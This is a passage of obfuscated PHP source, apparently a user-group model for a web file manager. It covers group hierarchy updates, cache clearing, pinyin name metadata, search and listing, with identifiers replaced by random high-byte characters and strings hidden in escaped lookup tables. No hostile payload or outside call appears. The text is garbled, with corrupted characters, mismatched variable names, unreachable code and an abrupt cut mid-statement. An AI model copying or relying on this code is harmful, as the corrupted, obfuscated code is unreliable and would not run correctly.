$ÛÜ¥Ôù—[50]; $this->_changeChildLevel($¸¬<C2B8>©Õñ, $<24>ýÄ”®<E2809D>); $this->_clearCache($<24>ýÄ”®<E2809D>[$ÛÜ¥Ôù—[1962]]); $this->_clearCache($¸¬<C2B8>©Õñ[$ÛÜ¥Ôù—[192]]); } } if (isset($¹Ý»“¸<E2809C>[$ÛÜ¥Ôù—[32]])) { $this->setNamePinyin($—©À‰¸¥, $¹Ý»“¸<E2809C>[$ÛÜ¥Ôù—[32]]); } if (isset($¹Ý»“¸<E2809C>[$ÛÜ¥Ôù—[2052]])) { $this->metaSet($—©À‰¸¥, array($ÛÜ¥Ôù—[2052] => $¹Ý»“¸<E2809C>[$ÛÜ¥Ôù—[2052]], $ÛÜ¥Ôù—[2053] => $¹Ý»“¸<E2809C>[$ÛÜ¥Ôù—[2053]])); unset($¹Ý»“¸<E2809C>[$ÛÜ¥Ôù—[2052]]); unset($¹Ý»“¸<E2809C>[$ÛÜ¥Ôù—[2053]]); } $this->_clearChildrenCache($¸¬<C2B8>©Õñ); return $this->where(array($ÛÜ¥Ôù—[2054] => $—©À‰¸¥))->save($¹Ý»“¸<E2809C>); } private function _clearChildrenCache($üð¹<C3B0>…£) { $‹ã™™öþ =& $_SERVER[ˆ¡¹µ‹Â]; $ðËà×»š = array($‹ã™™öþ[652] => array($‹ã™™öþ[612], $üð¹<C3B0>…£[$‹ã™™öþ[584]] . $üð¹<C3B0>…£[$‹ã™™öþ[1962]] . $‹ã™™öþ[613])); $Ù”©–š’ = $this->field($‹ã™™öþ[1962])->where($ðËà×»š)->select(); foreach ($Ù”©–š’ as $©êÞ‰ÒÇ) { $this->_clearCache($©êÞ‰ÒÇ[$‹ã™™öþ[1962]]); } } private function _clearCache($šüÇÚöï) { $ÇïçìÞð =& $_SERVER[ˆ¡¹µ‹Â]; $this->cacheFunctionClear($ÇïçìÞð[2048], $šüÇÚöï); $this->cacheFunctionClear($ÇïçìÞð[2049], $šüÇÚöï); } private function _changeChildLevel($ºáÛð’š, $ †¨Äéã, $¶« žÃ¼ = false) { $ðœýµ·³ =& $_SERVER[ˆ¡¹µ‹Â]; $­œÆõãþ = $ºáÛð’š[$ðœýµ·³[584]] . $ºáÛð’š[$ðœýµ·³[1962]] . $ðœýµ·³[50]; $…ù§ù»É = $ †¨Äéã[$ðœýµ·³[584]] . $ †¨Äéã[$ðœýµ·³[1962]] . $ðœýµ·³[50] . $ºáÛð’š[$ðœýµ·³[1962]] . $ðœýµ·³[50]; if ($¶« žÃ¼) { $…ù§ù»É = $ †¨Äéã[$ðœýµ·³[584]] . $ †¨Äéã[$ðœýµ·³[1962]] . $ðœýµ·³[50]; } $¡Ì²®–á = array($ðœýµ·³[652] => array($ðœýµ·³[612], $ºáÛð’š[$ðœýµ·³[584]] . $ºáÛð’š[$ðœýµ·³[1962]] . $ðœýµ·³[613])); $”‡¤”¬´ = array($ðœýµ·³[652] => array($ðœýµ·³[661], "\162\145\x70\154\x61\143\x65\50\x70\141\162\x65\156\x74\114\x65\166\x65\154\54\x27{$­œÆõãþ}\x27\54\47{$…ù§ù»É}\47\x29")); $this->_clearChildrenCache($ºáÛð’š); $this->where($¡Ì²®–á)->data($”‡¤”¬´)->save(); } public function setNamePinyin($¿ÛΪބ, $ú脦½þ = false) { $ï â˜‘Ê =& $_SERVER[ˆ¡¹µ‹Â]; if (!$ú脦½þ) { $Æ¤× Ž– = $this->getInfoSimple($¿ÛΪބ); $ú脦½þ = $Æ¤× Ž–[$ï â˜‘Ê[32]]; } if (!Input::check($ú脦½þ, $ï â˜‘Ê[655])) { $this->metaSet($¿ÛΪބ, $ï â˜‘Ê[538], null); $this->metaSet($¿ÛΪބ, $ï â˜‘Ê[537], null); return; } $ùŠ˜¦òó = array($ï â˜‘Ê[538] => str_replace($ï â˜‘Ê[53], $ï â˜‘Ê[12], Pinyin::get($ú脦½þ)), $ï â˜‘Ê[537] => Pinyin::get($ú脦½þ, $ï â˜‘Ê[656])); $this->metaSet($¿ÛΪބ, $ùŠ˜¦òó); } protected function metaSet($ŽÖ²´Àí, $<>™Š† = null, $„á”ÁžŸ = null) { $this->_clearCache($ŽÖ²´Àí); return parent::metaSet($ŽÖ²´Àí, $<>™Š†, $„á”ÁžŸ); } protected function groupStatus($ⵑ͊ñ, $¥äø¾Ý†) { $œÞ…°Ö® =& $_SERVER[ˆ¡¹µ‹Â]; $ÓÚ‡ÝÏ = $this->getInfoSimple($ⵑ͊ñ); if (!$ÓÚ‡ÝÏÂ) { return !1; } $this->_clearCache($ⵑ͊ñ); return $this->metaSet($ⵑ͊ñ, $œÞ…°Ö®[817], $¥äø¾Ý†); if ($¥äø¾Ý† == $œÞ…°Ö®[91]) { $¶ÓòÕÏ» = $this->parentLevelArray($ÓÚ‡ÝÏÂ[$œÞ…°Ö®[584]]); } else { } $¶ÓòÕÏ»[] = $ÓÚ‡ÝÏÂ[$œÞ…°Ö®[1962]]; $£Ïꜗ‹ = array(); foreach ($¶ÓòÕÏ» as $ⵑ͊ñ) { $£Ïꜗ‹[] = array($œÞ…°Ö®[1962] => $ⵑ͊ñ, $œÞ…°Ö®[97] => $œÞ…°Ö®[817], $œÞ…°Ö®[450] => $¥äø¾Ý†); $this->_clearCache($ⵑ͊ñ); } return Model($œÞ…°Ö®[2055])->addAll($£Ïꜗ‹, array(), !0); } protected function groupRemove($Úá<C39A>·¶¾, $ùûÆ‚ÂÈ = false) { $<24>ýÌ¡ƒ† =& $_SERVER[ˆ¡¹µ‹Â]; $Á¤åö§Š = array($<24>ýÌ¡ƒ†[1962] => $Úá<C39A>·¶¾); $¸ØÔ­¾œ = $this->where($Á¤åö§Š)->find(); if (!$¸ØÔ­¾œ || $¸ØÔ­¾œ[$<24>ýÌ¡ƒ†[192]] == 0) { return !1; } if (!$ùûÆ‚ÂÈ) { $<24>ñ÷²Ž<C2B2> = $this->getInfoSimple($¸ØÔ­¾œ[$<24>ýÌ¡ƒ†[192]]); $this->_changeChildLevel($¸ØÔ­¾œ, $<24>ñ÷²Ž<C2B2>, !0); $this->where(array($<24>ýÌ¡ƒ†[192] => $Úá<C39A>·¶¾))->save(array($<24>ýÌ¡ƒ†[192] => $¸ØÔ­¾œ[$<24>ýÌ¡ƒ†[192]])); $this->_clearCache($<24>ñ÷²Ž<C2B2>[$<24>ýÌ¡ƒ†[1962]]); } Model($<24>ýÌ¡ƒ†[2055])->where($Á¤åö§Š)->delete(); Model($<24>ýÌ¡ƒ†[2056])->where($Á¤åö§Š)->delete(); Model($<24>ýÌ¡ƒ†[899])->groupRootRemove($Úá<C39A>·¶¾); $this->_clearCache($¸ØÔ­¾œ[$<24>ýÌ¡ƒ†[192]]); return $this->where($Á¤åö§Š)->delete(); } protected function groupSort($Ú‹¿ûý…) { $ÀØú…¹ä =& $_SERVER[ˆ¡¹µ‹Â]; $ÜÎÅ °™ = array(); foreach ($Ú‹¿ûý… as $…™†Þþæ => $³ó¬ºÂ ) { $ÜÎÅ °™[] = array($ÀØú…¹ä[1962], $³ó¬ºÂ , $ÀØú…¹ä[1986], $…™†Þþæ + 1); } $this->saveAll($ÜÎÅ °™); } public function listData() { $ÍÁ<C38D>±ÇÈ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($ÍÁ<C38D>±ÇÈ[$_SERVER[ˆ¡¹µ‹Â][445]]); return $ÍÁ<C38D>±ÇÈ; } private function _makeOrder($<24>òû—Ëã = '') { $èí²äŸ¸ =& $_SERVER[ˆ¡¹µ‹Â]; $ùÉèê¤× = array($èí²äŸ¸[1962], $èí²äŸ¸[32], $èí²äŸ¸[1950], $èí²äŸ¸[231]); $”¨Þ¶÷Ž = array($èí²äŸ¸[523] => $èí²äŸ¸[524], $èí²äŸ¸[525] => $èí²äŸ¸[526]); $Ò¡‡Ñùº = Input::get($èí²äŸ¸[530], $èí²äŸ¸[7], $èí²äŸ¸[1966], $ùÉèê¤×); $ãÞá¶…¿ = Input::get($èí²äŸ¸[531], $èí²äŸ¸[7], $èí²äŸ¸[2057], array($èí²äŸ¸[2057], $èí²äŸ¸[525])); $ãÞá¶…¿ = $”¨Þ¶÷Ž[$ãÞá¶…¿]; $<24>òû—Ëã = $<24>òû—Ëã . "{$Ò¡‡Ñùº}\40{$ãÞá¶…¿}\x2c\40\147\162\x6f\165\160\x49\x44\x20\x61\163\x63"; return $this->order($<24>òû—Ëã); } public function listChild($깇ɢØ) { $ˌڭÕÉ =& $_SERVER[ˆ¡¹µ‹Â]; $Ëíó—êÛ = $this->where(array($ˌڭÕÉ[192] => $깇ɢØ))->_makeOrder()->selectPage(200); $this->_listDataApply($Ëíó—êÛ[$ˌڭÕÉ[445]]); return $Ëíó—êÛ; } public function listChildIds($¹¸¡½ð‘) { $<24>ÅÔ€ÑÈ =& $_SERVER[ˆ¡¹µ‹Â]; if (is_string($ÇÉ¥÷­±)) { $¹¸¡½ð‘ = explode($<24>ÅÔ€ÑÈ[50], $¹¸¡½ð‘); } $Ú§§¾Â· = $this->where(array($<24>ÅÔ€ÑÈ[1962] => array($<24>ÅÔ€ÑÈ[7], $¹¸¡½ð‘)))->field($<24>ÅÔ€ÑÈ[2058])->select(); if (!$Ú§§¾Â·) { return !1; } $ˆ©<CB86>Û‡• = array(); foreach ($Ú§§¾Â· as $”›¡Ü—¨) { $ˆ©<CB86>Û‡•[] = "\x73\145\x6c\145\143\164\40\147\x72\157\165\x70\x49\x44\x20\x66\162\157\x6d\40\140\x67\x72\157\165\160\140\x20\167\150\145\162\145\40\160\141\x72\x65\x6e\x74\114\x65\166\145\x6c\x20\x6c\x69\153\x65\x20\x27{$”›¡Ü—¨[$<24>ÅÔ€ÑÈ[584]]}{$”›¡Ü—¨[$<24>ÅÔ€ÑÈ[1962]]}\54\45\47"; } $ˆ©<CB86>Û‡• = implode($<24>ÅÔ€ÑÈ[2059], $ˆ©<CB86>Û‡•); $Ú§§¾Â· = $this->query($ˆ©<CB86>Û‡•); if (!$Ú§§¾Â·) { return array(); } $¹¸¡½ð‘ = array_to_keyvalue($Ú§§¾Â·, $<24>ÅÔ€ÑÈ[12], $<24>ÅÔ€ÑÈ[1962]); return array_unique($¹¸¡½ð‘); } public function listByID($˜î‡ÜÂÛ) { $·æáû„£ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$˜î‡ÜÂÛ) { return array(); } $™ æÆªð = array($·æáû„£[1962] => array($·æáû„£[7], $˜î‡ÜÂÛ)); $½ÑΫ·¹ = $this->where($™ æÆªð)->select(); $½ÑΫ·¹ = array_sort_keep($½ÑΫ·¹, $·æáû„£[1962], $˜î‡ÜÂÛ); $this->_listDataApply($½ÑΫ·¹); return $½ÑΫ·¹; } public function listSearch($Û†ŠýÛ™) { $õª©Žêš =& $_SERVER[ˆ¡¹µ‹Â]; $ôšíÁâ<C381> = trim($Û†ŠýÛ™[$õª©Žêš[2060]]); $’½‚ÉÚ÷ = explode($õª©Žêš[53], $ôšíÁâ<C381>); if (!$ôšíÁâ<C381> || count($’½‚ÉÚ÷) == 1) { return $this->listSearchNow($Û†ŠýÛ™); } $„è™ËˆÎ = array($õª©Žêš[445] => array()); foreach ($’½‚ÉÚ÷ as $ÑÄÇ·ÖÍ) { if (!trim($ÑÄÇ·ÖÍ)) { continue; } $Û†ŠýÛ™[$õª©Žêš[2060]] = $ÑÄÇ·ÖÍ; $°Ì¡Õ¶Ä = $this->listSearchNow($Û†ŠýÛ™); $„è™ËˆÎ[$õª©Žêš[445]] = array_merge($„è™ËˆÎ[$õª©Žêš[445]], $°Ì¡Õ¶Ä[$õª©Žêš[445]]); } $„è™ËˆÎ[$õª©Žêš[445]] = array_unique_by_key($„è™ËˆÎ[$õª©Žêš[445]], $õª©Žêš[1962]); $„è™ËˆÎ[$õª©Žêš[442]] = array($õª©Žêš[443] => count($„è™ËˆÎ[$õª©Žêš[445]]), $õª©Žêš[439] => 20, $õª©Žêš[429] => 1, $õª©Žêš[444] => 1); return $„è™ËˆÎ; } public function listSearchNow($ɪ¼‘߆) { $ËüʲìÔ =& $_SERVER[ˆ¡¹µ‹Â]; $åÃŒŽ¥Ÿ = trim($ɪ¼‘߆[$ËüʲìÔ[2060]]); $ÍË¥æÏ = isset($ɪ¼‘߆[$ËüʲìÔ[2061]]) ? $ɪ¼‘߆[$ËüʲìÔ[2061]] : !1; if (!trim($åÃŒŽ¥Ÿ)) { return !1; } $åÃŒŽ¥Ÿ = str_replace($ËüʲìÔ[2062], $ËüʲìÔ[2063], $åÃŒŽ¥Ÿ); $‡™µê¹„ = array($ËüʲìÔ[1962] => array($ËüʲìÔ[459], "{$åÃŒŽ¥Ÿ}\x25"), $ËüʲìÔ[32] => array($ËüʲìÔ[459], "\45{$åÃŒŽ¥Ÿ}\45"), $ËüʲìÔ[1071] => $ËüʲìÔ[2064]); if ($ÍË¥æÏÂ) { $´¹Ñ‹ Þ = $this->getInfoSimple($ÍË¥æÏÂ); $¤û¶¥ð¡ = $´¹Ñ‹ Þ[$ËüʲìÔ[584]] . $ÍË¥æÏ . $ËüʲìÔ[613]; $‡™µê¹„ = array($‡™µê¹„, array($ËüʲìÔ[584] => array($ËüʲìÔ[459], $¤û¶¥ð¡))); } $‡™µê¹„ = $this->parseWhereLike($‡™µê¹„); $ž‡£¿‡§ = $this->_makeOrder()->where($‡™µê¹„)->selectPage(20); $ž‡£¿‡§ = $ž‡£¿‡§ ? $ž‡£¿‡§ : array($ËüʲìÔ[445] => array(), $ËüʲìÔ[442] => array()); if (!$ž‡£¿‡§ || count($ž‡£¿‡§[$ËüʲìÔ[445]]) < 5 && Input::check($åÃŒŽ¥Ÿ, $ËüʲìÔ[394])) { $Ë–äàõÍ = $this->groupChildrenAll($ÍË¥æÏÂ); $¶Ôቸ = $this->_searchFromMeta($ËüʲìÔ[537], $åÃŒŽ¥Ÿ, 10, $Ë–äàõÍ); $»ÕЦêÕ = $this->_searchFromMeta($ËüʲìÔ[538], $åÃŒŽ¥Ÿ, 10, $Ë–äàõÍ); $¡ñ¤¥¸ç = array_merge($¶Ôቸ, $»ÕЦêÕ, $ž‡£¿‡§[$ËüʲìÔ[445]]); $ž‡£¿‡§[$ËüʲìÔ[445]] = array_unique_by_key($¡ñ¤¥¸ç, $ËüʲìÔ[1962]); $ž‡£¿‡§[$ËüʲìÔ[442]][$ËüʲìÔ[443]] = count($ž‡£¿‡§[$ËüʲìÔ[445]]); $ž‡£¿‡§[$ËüʲìÔ[442]][$ËüʲìÔ[444]] = ceil($ž‡£¿‡§[$ËüʲìÔ[442]][$ËüʲìÔ[443]] / $ž‡£¿‡§[$ËüʲìÔ[442]][$ËüʲìÔ[439]]); } $this->_listDataApply($ž‡£¿‡§[$ËüʲìÔ[445]]); return $ž‡£¿‡§; } protected function groupChildrenAll($¨Ê¹™ùð) { $÷Á­óƒ„ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$¨Ê¹™ùð) { return !1; } if (!is_array($¨Ê¹™ùð)) { $¨Ê¹™ùð = array($¨Ê¹™ùð); } $í¬ñ´ÏÐ = $¨Ê¹™ùð; foreach ($¨Ê¹™ùð as $å”ó™µê) { $ʾ‡æµ‚ = $this->getInfoSimple($å”ó™µê); $ÐïÔöêÖ = array($÷Á­óƒ„[584] => array($÷Á­óƒ„[459], $ʾ‡æµ‚[$÷Á­óƒ„[584]] . $å”ó™µê . $÷Á­óƒ„[613])); $<24>ãÔÄÅÝ = $this->field($÷Á­óƒ„[1962])->where($ÐïÔöêÖ)->select(); $í¬ñ´ÏÐ = array_merge($í¬ñ´ÏÐ, array_to_keyvalue($<24>ãÔÄÅÝ, $÷Á­óƒ„[12], $÷Á­óƒ„[1962])); } return array_unique($í¬ñ´ÏÐ); } private function _searchFromMeta($Ý<>ÄæÎ±, $ꦲ®<C2B2>, $˜<>Ö¥<C396>¼, $÷‘¼”Šó) { $×<>ËÎ =& $_SERVER[ˆ¡¹µ‹Â]; $ꦲ®<C2B2> = strtolower($ꦲ®<C2B2>); $¥¿Â›¼ƒ = array($×<>ËÎ[97] => $Ý<>ÄæÎ±, $×<>ËÎ[450] => array($×<>ËÎ[459], "\45{$ꦲ®<C2B2>}\45")); $¥¿Â›¼ƒ = $this->parseWhereLike($¥¿Â›¼ƒ); if ($÷‘¼”Šó) { $¥¿Â›¼ƒ[$×<>ËÎ[1962]] = array($×<>ËÎ[7], $÷‘¼”Šó); } $‚þµ•¢› = Model($×<>ËÎ[2065])->where($¥¿Â›¼ƒ)->limit($˜<>Ö¥<C396>¼)->select(); if (!$‚þµ•¢›) { return array(); } $‚þµ•¢› = array_to_keyvalue($‚þµ•¢›, $×<>ËÎ[12], $×<>ËÎ[1962]); $æÇÖ›€‘ = $this->where(array($×<>ËÎ[2054] => array($×<>ËÎ[7], $‚þµ•¢›)))->select(); if (!$æÇÖ›€‘) { return array(); } return $æÇÖ›€‘; } protected function _listDataApplyItem($…Ÿæƒªã) { $ùǦ¯¡¤ = array($…Ÿæƒªã); $this->_listDataApply($ùǦ¯¡¤); return $ùǦ¯¡¤[0]; } protected function _listDataApply(&$öÊÏ„˜·) { $ËÜÇÙìö =& $_SERVER[ˆ¡¹µ‹Â]; if (!$öÊÏ„˜·) { return; } $û˜ªËÆœ = array_to_keyvalue($öÊÏ„˜·, $ËÜÇÙìö[12], $ËÜÇÙìö[1962]); $this->_listAppendChildren($öÊÏ„˜·); $this->_listAppendChildrenMember($öÊÏ„˜·); $this->_listAppendMeta($öÊÏ„˜·, $û˜ªËÆœ); $this->_listAppendParent($öÊÏ„˜·); $this->_listAppendSourceRoot($öÊÏ„˜·, $û˜ªËÆœ); } private function _listAppendChildren(&$É뀌ºŒ) { $¾ˆýýÛà =& $_SERVER[ˆ¡¹µ‹Â]; $Ëõ¾Ä§Ž = array_to_keyvalue($É뀌ºŒ, $¾ˆýýÛÃ[12], $¾ˆýýÛÃ[1962]); $€ˆ²ëŸÙ = array($¾ˆýýÛÃ[192] => array($¾ˆýýÛÃ[7], $Ëõ¾Ä§Ž)); $û”›îì… = array($¾ˆýýÛÃ[192], $¾ˆýýÛÃ[2066] => $¾ˆýýÛÃ[565]); $Œœ®¸¢É = $this->field($û”›îì…)->where($€ˆ²ëŸÙ)->group($¾ˆýýÛÃ[192])->select(); $¸›¥þ͸ = array_to_keyvalue($Œœ®¸¢É, $¾ˆýýÛÃ[192], $¾ˆýýÛÃ[565]); foreach ($É뀌ºŒ as &$Ô¿£þÇé) { $ì­½òë— = $Ô¿£þÇé[$¾ˆýýÛÃ[1962]]; $Ô¿£þÇé[$¾ˆýýÛÃ[2067]] = isset($¸›¥þ͸[$ì­½òë—]) ? intval($¸›¥þ͸[$ì­½òë—]) : !1; } unset($Ô¿£þÇé); } private function _listAppendChildrenMember(&$鵑Ƹº) { $Êß™ô‚ø =& $_SERVER[ˆ¡¹µ‹Â]; $ê<>‡ÍŠÌ = array_to_keyvalue($鵑Ƹº, $Êß™ô‚ø[12], $Êß™ô‚ø[1962]); $øÕٸⳠ= array($Êß™ô‚ø[1962] => array($Êß™ô‚ø[7], $ê<>‡ÍŠÌ)); $ˆ·° = array($Êß™ô‚ø[1962], $Êß™ô‚ø[2066] => $Êß™ô‚ø[565]); $ð÷üÐÊ‘ = Model($Êß™ô‚ø[2056])->field($ˆ·°)->where($øÕÙ¸â³)->group($Êß™ô‚ø[1962])->select(); $¯<> Úí = array_to_keyvalue($ð÷üÐÊ‘, $Êß™ô‚ø[1962], $Êß™ô‚ø[565]); foreach ($鵑Ƹº as &$Òœª<C593>ëÒ) { $‚í´‚í¸ = $Òœª<C593>ëÒ[$Êß™ô‚ø[1962]]; $Òœª<C593>ëÒ[$Êß™ô‚ø[2068]] = isset($¯<> Úí[$‚í´‚í¸]) ? intval($¯<> Úí[$‚í´‚í¸]) : !1; } unset($Òœª<C593>ëÒ); } private function _listAppendMeta(&$ô÷€Œøá, $<24>­ÛÞï) { $Ì”„ê³Ï =& $_SERVER[ˆ¡¹µ‹Â]; $‘«ö‘›© = array($Ì”„ê³Ï[1962] => array($Ì”„ê³Ï[7], $<24>­ÛÞï)); $æ†ßŠþ¸ = Model($Ì”„ê³Ï[2055])->where($‘«ö‘›©)->select(); $æ†ßŠþ¸ = array_to_keyvalue_group($æ†ßŠþ¸, $Ì”„ê³Ï[1962]); foreach ($æ†ßŠþ¸ as &$éýØÛã‡) { $éýØÛ㇠= array_to_keyvalue($éýØÛã‡, $Ì”„ê³Ï[97], $Ì”„ê³Ï[450]); } unset($éýØÛã‡); foreach ($ô÷€Œøá as &$ñŽÂ…ˆœ) { $ñŽÂ…ˆœ[$Ì”„ê³Ï[539]] = array(); if (isset($æ†ßŠþ¸[$ñŽÂ…ˆœ[$Ì”„ê³Ï[1962]]])) { $ñŽÂ…ˆœ[$Ì”„ê³Ï[539]] = $æ†ßŠþ¸[$ñŽÂ…ˆœ[$Ì”„ê³Ï[1962]]]; } } unset($ñŽÂ…ˆœ); } protected function parentLevelArray($<24>ºý럌) { $âõúݦ‘ =& $_SERVER[ˆ¡¹µ‹Â]; $<24>ºý럌 = explode($âõúݦ‘[50], trim($<24>ºý럌, $âõúݦ‘[50])); $<24>ºý럌 = array_remove_value($<24>ºý럌, $âõúݦ‘[228]); return $<24>ºý럌; } protected function parentInGroup($‘ Ì·ßµ, $ÆŽºøæ²) { $胾Õý© =& $_SERVER[ˆ¡¹µ‹Â]; $¯<>ÁÎÉî = $this->getInfoSimple($‘ Ì·ßµ); if (!$¯<>ÁÎÉî) { return !0; } $œÐí²Ðˆ = $this->parentLevelArray($¯<>ÁÎÉî[$胾Õý©[584]]); $œÐí²Ðˆ[] = $‘ Ì·ßµ; foreach ($œÐí²Ðˆ as $‘ Ì·ßµ) { if (in_array($‘ Ì·ßµ . $胾Õý©[12], $ÆŽºøæ²)) { return !0; } } return !1; } private function _listAppendParent(&$ý‡ªôþñ) { $Îû¤àŠÍ =& $_SERVER[ˆ¡¹µ‹Â]; $òžÇõ„¬ = array(); foreach ($ý‡ªôþñ as &$ñÌøÈ„Ÿ) { $òžÇõ„¬[$ñÌøÈ„Ÿ[$Îû¤àŠÍ[1962]]] = $ñÌøÈ„Ÿ[$Îû¤àŠÍ[32]]; $•׺°æõ = $this->parentLevelArray($ñÌøÈ„Ÿ[$Îû¤àŠÍ[584]]); foreach ($•׺°æõ as $ØùÄ›ûÇ) { if (!isset($òžÇõ„¬[$ØùÄ›ûÇ])) { $òžÇõ„¬[$ØùÄ›ûÇ] = 0; } } } unset($ñÌøÈ„Ÿ); foreach ($òžÇõ„¬ as $¾<>ùÆ => $<24>Íûǽþ) { if ($<24>Íûǽþ) { continue; } $<24>ãÔ§†ý = $this->getInfoSimple($¾<>ùÆ); $òžÇõ„¬[$¾<>ùÆ] = $<24>ãÔ§†ý[$Îû¤àŠÍ[32]]; } $ÙƒÒ¾ ¤ = $GLOBALS[$Îû¤àŠÍ[6]][$Îû¤àŠÍ[92]][$Îû¤àŠÍ[2069]]; if (KodUser::isRoot()) { $ÙƒÒ¾ ¤ = !1; } foreach ($ý‡ªôþñ as &$ñÌøÈ„Ÿ) { $•׺°æõ = $this->parentLevelArray($ñÌøÈ„Ÿ[$Îû¤àŠÍ[584]]); $åîÂåÄÚ = $Îû¤àŠÍ[12]; foreach ($•׺°æõ as $¾<>ùÆ => $ØùÄ›ûÇ) { if ($ÙƒÒ¾ ¤ && $¾<>ùÆ == 0) { continue; } $åîÂåÄÚ .= $òžÇõ„¬[$ØùÄ›ûÇ] . $Îû¤àŠÍ[8]; } if ($•׺°æõ) { $åîÂåÄÚ .= $ñÌøÈ„Ÿ[$Îû¤àŠÍ[32]]; } $ñÌøÈ„Ÿ[$Îû¤àŠÍ[589]] = str_replace($Îû¤àŠÍ[592], $Îû¤àŠÍ[8], $åîÂåÄÚ); } unset($ñÌøÈ„Ÿ); } private function _listAppendSourceRoot(&$æ÷Å…Úî, $¿‘¸š­Ì) { $ì±ò¯ü‚ =& $_SERVER[ˆ¡¹µ‹Â]; $€Üµ«®¨ = Model($ì±ò¯ü‚[899])->listSourceRoot(SourceModel::TYPE_GROUP, $¿‘¸š­Ì); $€Üµ«®¨ = array_to_keyvalue($€Üµ«®¨, $ì±ò¯ü‚[569]); $€Üµ«®¨ = array_remove_key($€Üµ«®¨, $ì±ò¯ü‚[569]); foreach ($æ÷Å…Úî as &$¬ž€Ç™Ã) { $¬ž€Ç™Ã[$ì±ò¯ü‚[90]] = $€Üµ«®¨[$¬ž€Ç™Ã[$ì±ò¯ü‚[1962]]] ? $€Üµ«®¨[$¬ž€Ç™Ã[$ì±ò¯ü‚[1962]]] : array(); } unset($¬ž€Ç™Ã); } protected function groupMerge($À™‚»å¶) { $À™‚»å¶ = array_values(array_unique($À™‚»å¶)); $™äæ€ëð = array(); for ($ûí”Úÿ = 0; $ûí”Úÿ < count($À™‚»å¶); $ûí”Úÿ++) { $ާ’ô–À = !1; for ($ëŒÐõ½± = 0; $ëŒÐõ½± < count($À™‚»å¶); $ëŒÐõ½±++) { if ($ûí”Úÿ == $ëŒÐõ½±) { continue; } if ($this->isParentOf($À™‚»å¶[$ëŒÐõ½±], $À™‚»å¶[$ûí”Úÿ])) { $ާ’ô–À = !0; break; } } if (!$ާ’ô–À) { $™äæ€ëð[] = $À™‚»å¶[$ûí”Úÿ]; } } return $™äæ€ëð; } protected function isParentOf($ÜúÈ<E28093>Ÿ, $³ã¾ÞÐë) { $à³ÝŽçñ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$ÜúÈ<E28093>Ÿ || !$³ã¾ÞÐë || $ÜúÈ<E28093>Ÿ == $³ã¾ÞÐë) { return !1; } $̸Ҋ–× = $this->getInfoSimple($ÜúÈ<E28093>Ÿ); $ªÕê°«Ê = $this->getInfoSimple($³ã¾ÞÐë); $ŸÛ–‚þÍ = $̸Ҋ–×[$à³ÝŽçñ[584]] . $ÜúÈ<E28093>Ÿ . $à³ÝŽçñ[50]; if (substr($ªÕê°«Ê[$à³ÝŽçñ[584]], 0, strlen($ŸÛ–‚þÍ)) == $ŸÛ–‚þÍ) { return !0; } return !1; } public function groupShowRoot($–ê±¹âñ, $<24>œŒ“½<E2809C> = false) { $ëà¥<C3A0>üÈ =& $_SERVER[ˆ¡¹µ‹Â]; $Ü©àÀ¹ô = $this->getInfo($–ê±¹âñ); if (!$Ü©àÀ¹ô) { return array(); } $<24>ŸªØáÙ = $this->parentLevelArray($Ü©àÀ¹ô[$ëà¥<C3A0>üÈ[584]]); $‘½í¤Ž„ = array($–ê±¹âñ); if (count($<24>ŸªØáÙ) == 0) { return $‘½í¤Ž„; } if ($<24>œŒ“½<E2809C> && count($<24>ŸªØáÙ) == 1) { return $‘½í¤Ž„; } if (!$Ü©àÀ¹ô[$ëà¥<C3A0>üÈ[539]] || !isset($Ü©àÀ¹ô[$ëà¥<C3A0>üÈ[539]][$ëà¥<C3A0>üÈ[2052]]) || $Ü©àÀ¹ô[$ëà¥<C3A0>üÈ[539]][$ëà¥<C3A0>üÈ[2052]] == $ëà¥<C3A0>üÈ[843]) { return $this->groupShowRoot($<24>ŸªØáÙ[count($<24>ŸªØáÙ) - 1], $<24>œŒ“½<E2809C>); } if ($Ü©àÀ¹ô[$ëà¥<C3A0>üÈ[539]][$ëà¥<C3A0>üÈ[2052]] == $ëà¥<C3A0>üÈ[433]) { $ù<C3B9>¢Ò“ = explode($ëà¥<C3A0>üÈ[50], $Ü©àÀ¹ô[$ëà¥<C3A0>üÈ[539]][$ëà¥<C3A0>üÈ[2053]]); if ($ù<C3B9>¢Ò“) { $‘½í¤Ž„ = array_merge($‘½í¤Ž„, $ù<C3B9>¢Ò“); } } return $‘½í¤Ž„; } protected function resetParentLevel() { $©<>¨•¡ç =& $_SERVER[ˆ¡¹µ‹Â]; $×Ú”áþ² = $©<>¨•¡ç[1962]; $¸úçﻀ = $this->select(); $¸úçﻀ = array_to_keyvalue($¸úçﻀ, $×Ú”áþ²); foreach ($¸úçﻀ as $óô¸ñ­¶) { $ý„¥Ýé<C39D> = $óô¸ñ­¶; $¹¦<C2B9>™±<E284A2> = array(); while ($ý„¥Ýé<C39D>[$©<>¨•¡ç[192]] != 0) { $¹¦<C2B9>™±<E284A2>[] = $ý„¥Ýé<C39D>[$©<>¨•¡ç[192]]; $ý„¥Ýé<C39D> = $¸úçﻀ[$ý„¥Ýé<C39D>[$©<>¨•¡ç[192]]]; } $¹¦<C2B9>™±<E284A2>[] = 0; $¹¦<C2B9>™±<E284A2> = $©<>¨•¡ç[50] . implode($©<>¨•¡ç[50], array_reverse($¹¦<C2B9>™±<E284A2>)) . $©<>¨•¡ç[50]; $this->setNamePinyin($óô¸ñ­¶[$×Ú”áþ²], $óô¸ñ­¶[$©<>¨•¡ç[32]]); $this->where(array($×Ú”áþ² => $óô¸ñ­¶[$×Ú”áþ²]))->save(array($©<>¨•¡ç[652] => $¹¦<C2B9>™±<E284A2>)); } return $¸úçﻀ; } public function groupNameAuto($¦«ú<C3BA>, $ï°Ä½ú¢) { $<24>Šã ˜Ç =& $_SERVER[ˆ¡¹µ‹Â]; $޵ýɺä = $this->where(array($<24>Šã ˜Ç[477] => $¦«ú<C3BA>))->getField($<24>Šã ˜Ç[32], !0); if (!$޵ýɺä || !in_array($ï°Ä½ú¢, $޵ýɺä)) { return $ï°Ä½ú¢; } for ($°Á–µ Ž = 1; $°Á–µ Ž <= count($޵ýɺä) + 1; $°Á–µ Ž++) { $äÞΰàó = $ï°Ä½ú¢ . "\x28{$°Á–µ Ž}\x29"; if (!in_array($äÞΰàó, $޵ýɺä)) { return $äÞΰàó; } } } public function groupSwitch($˩×, $<24>·Ÿ®öì) { $ÀÕ¿<C395>³™ =& $_SERVER[ˆ¡¹µ‹Â]; $ÛÕ›Ñ½Ô 